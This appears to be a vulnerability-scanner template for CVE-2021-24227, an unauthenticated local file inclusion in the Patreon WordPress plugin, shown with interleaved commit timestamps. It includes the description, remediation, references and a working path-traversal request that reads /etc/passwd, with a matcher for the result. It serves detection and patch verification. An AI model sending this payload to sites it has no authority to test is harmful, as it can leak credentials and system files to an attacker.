2022-10-05 07:53:13 +00:00
id : CVE-2021-24227
info :
2023-01-16 17:41:15 +00:00
name : Patreon WordPress <1.7.0 - Unauthenticated Local File Inclusion
2022-10-05 07:53:13 +00:00
author : theamanrawat
severity : high
2023-01-16 17:41:15 +00:00
description : Patreon WordPress before version 1.7.0 is vulnerable to unauthenticated local file inclusion that could be abused by anyone visiting the site. Exploitation by an attacker could leak important internal files like wp-config.php, which contains database credentials and cryptographic keys used in the generation of nonces and cookies.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to Patreon WordPress plugin version 1.7.0 or later to mitigate this vulnerability.
2022-10-05 07:53:13 +00:00
reference :
- https://wpscan.com/vulnerability/f62df02d-7678-440f-84a1-ddbf09364016
- https://wordpress.org/plugins/patreon-connect/
2022-10-05 19:50:54 +00:00
- https://jetpack.com/2021/03/26/vulnerabilities-found-in-patreon-wordpress-plugin/
2023-01-16 17:41:15 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-24227
2022-10-05 07:53:13 +00:00
classification :
2022-10-05 19:50:54 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
2022-10-05 07:53:13 +00:00
cve-id : CVE-2021-24227
2022-10-05 19:50:54 +00:00
cwe-id : CWE-200
2023-07-11 19:49:27 +00:00
epss-score : 0.03493
2023-08-31 11:46:18 +00:00
epss-percentile : 0.90307
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:patreon:patreon_wordpress:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : patreon
product : patreon_wordpress
2023-09-06 12:09:01 +00:00
framework : wordpress
2023-07-11 19:49:27 +00:00
tags : wordpress,patreon-connect,unauth,cve2021,lfi,patreon,wp,wpscan,cve
2022-10-05 07:53:13 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-10-05 07:53:13 +00:00
- method : GET
path :
- "{{BaseURL}}/?patron_only_image=../../../../../../../../../../etc/passwd&patreon_action=serve_patron_only_image"
matchers-condition : and
matchers :
2022-10-05 19:50:54 +00:00
- type : regex
regex :
- "root:[x*]:0:0"
2022-10-05 07:53:13 +00:00
- type : status
status :
2022-10-05 19:50:54 +00:00
- 200